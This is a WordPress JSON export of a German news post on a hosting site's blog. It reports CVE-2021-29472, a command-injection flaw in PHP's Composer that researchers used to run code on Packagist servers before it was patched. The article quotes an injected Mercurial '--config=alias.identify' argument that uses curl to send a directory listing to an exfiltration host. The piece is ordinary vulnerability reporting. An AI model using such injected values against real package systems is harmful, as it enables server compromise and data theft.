{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Schwachstelle im Paketmanager Composer, die zur Kompromittierung des PHP-Repositorys Packagist f\u00fchren kann","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Im Abh\u00e4ngigkeitsmanager Composer wurde eine kritische Schwachstelle (CVE-2021-29472) entdeckt, die es erm\u00f6glicht, willk\u00fcrliche Befehle im System auszuf\u00fchren, wenn ein Paket mit einem speziell gestalteten URL-Wert verarbeitet wird, der die Adresse f\u00fcr den Download von Quelltexten angibt. Das Problem tritt in den Komponenten GitDriver, SvnDriver und HgDriver auf, die bei der Verwendung von Versionskontrollsystemen wie Git, Subversion und Mercurial zum Einsatz kommen. Die Schwachstelle wurde in den Versionen Composer 1.10.22 und 2.0.13 behoben. <\/p>\n

Besonders hervorzuheben ist, dass das Problem haupts\u00e4chlich das standardm\u00e4\u00dfig in Composer verwendete Paket-Repository Packagist betroffen hat, das 306.000 Pakete f\u00fcr PHP-Entwickler umfasst und monatlich \u00fcber 1,4 Milliarden Downloads bedient. In einem Experiment wurde gezeigt, dass Angreifer, die \u00fcber Informationen zu dem Problem verf\u00fcgten, die Kontrolle \u00fcber die Infrastruktur von Packagist erlangen und Zugangsdaten abfangen oder den Download von Paketen auf einen externen Server umleiten konnten, wodurch sie die Lieferung von Paketvarianten mit sch\u00e4dlichen \u00c4nderungen zur Einf\u00fcgung eines Backdoors w\u00e4hrend der Installation von Abh\u00e4ngigkeiten erm\u00f6glichten. <\/p>\n

Die Gef\u00e4hrdung f\u00fcr Endnutzer ist dadurch begrenzt, dass der Inhalt der composer.json in der Regel vom Benutzer selbst bestimmt wird und die Links zu den Quelltexten bei Anfragen an vertrauensw\u00fcrdige externe Repositories \u00fcbergeben werden. Der Hauptangriff zielt auf das Repository Packagist.org und den Service Private Packagist ab, die Composer mit von Benutzern bereitgestellten Daten aufrufen. Angreifer konnten ihren Code auf den Servern von Packagist ausf\u00fchren, indem sie ein speziell gestaltetes Paket platzierten. <\/p>\n

Das Team von Packagist hat die Schwachstelle innerhalb von 12 Stunden nach Meldung der Schwachstelle behoben. Die Forscher informierten die Entwickler von Packagist privat am 22. April, und am selben Tag wurde das Problem behoben. Das \u00f6ffentliche Update von Composer zur Behebung der Schwachstelle wurde am 27. April ver\u00f6ffentlicht, w\u00e4hrend die Einzelheiten am 28. April enth\u00fcllt wurden. Eine \u00dcberpr\u00fcfung der Protokolle auf den Servern von Packagist ergab keine verd\u00e4chtigen Aktivit\u00e4ten, die mit der Schwachstelle in Verbindung standen. <\/p>\n

Das Problem wird durch einen Fehler im Code zur Validierung von URLs in der Wurzeldatei composer.json und den Links zum Herunterladen der Quelltexte verursacht. Der Fehler ist seit November 2011 im Code vorhanden. In Packagist werden spezielle Schichten verwendet, um den Code ohne Bindung an ein bestimmtes Versionsverwaltungssystem herunterzuladen, die durch den Aufruf von «fromShellCommandline» mit der \u00dcbergabe von Befehlszeilenargumenten ausgef\u00fchrt werden. Zum Beispiel wird f\u00fcr git der Befehl «git ls-remote \u2014heads $URL» aufgerufen, wobei die URL mit der Methode «ProcessExecutor::escape($url)» bearbeitet wird, die potenziell gef\u00e4hrliche Konstruktionen wie «$(…)» oder «`…`» maskiert. <\/p>\n

Der Kern des Problems besteht darin, dass die Methode ProcessExecutor::escape die Sequenz «—« nicht maskierte, was die Angabe beliebiger zus\u00e4tzlicher Aufrufparameter in der URL erm\u00f6glichte. Eine solche Maskierung fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Der Angriff \u00fcber GitDriver.php wurde dadurch erschwert, dass der Befehl «git ls-remote» keine zus\u00e4tzlichen Argumente nach dem Pfad unterst\u00fctzte. Ein Angriff auf HgDriver.php war m\u00f6glich, indem das Parameter «—config» an das Werkzeug «hq» \u00fcbergeben wurde, was die Ausf\u00fchrung eines beliebigen Befehls durch Manipulation der Einstellung «alias.identify» erm\u00f6glichte. Zum Beispiel konnte f\u00fcr das Herunterladen und Ausf\u00fchren des Codes durch den Startwerkzeug curl angegeben werden: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n

Indem sie ein Testpaket mit einer solchen URL bei Packagist platzierten, stellten die Forscher fest, dass nach der Bereitstellung auf ihrem Server eine HTTP-Anfrage von einem der Server<\/a> Packagist in AWS einging, die eine Auflistung der Dateien im aktuellen Verzeichnis enthielt.
\n
Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Schwachstelle im Paketmanager Composer, die eine Kompromittierung des PHP-Repositorys Packagist erm\u00f6glicht | ProHoster","description":"Im Abh\u00e4ngigkeitsmanager Composer wurde eine kritische Schwachstelle (CVE-2021-29472) entdeckt, die es erm\u00f6glicht, beliebige Befehle im System bei der Verarbeitung eines Pakets mit einem speziell gestalteten URL-Wert auszuf\u00fchren.","canonical_url":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}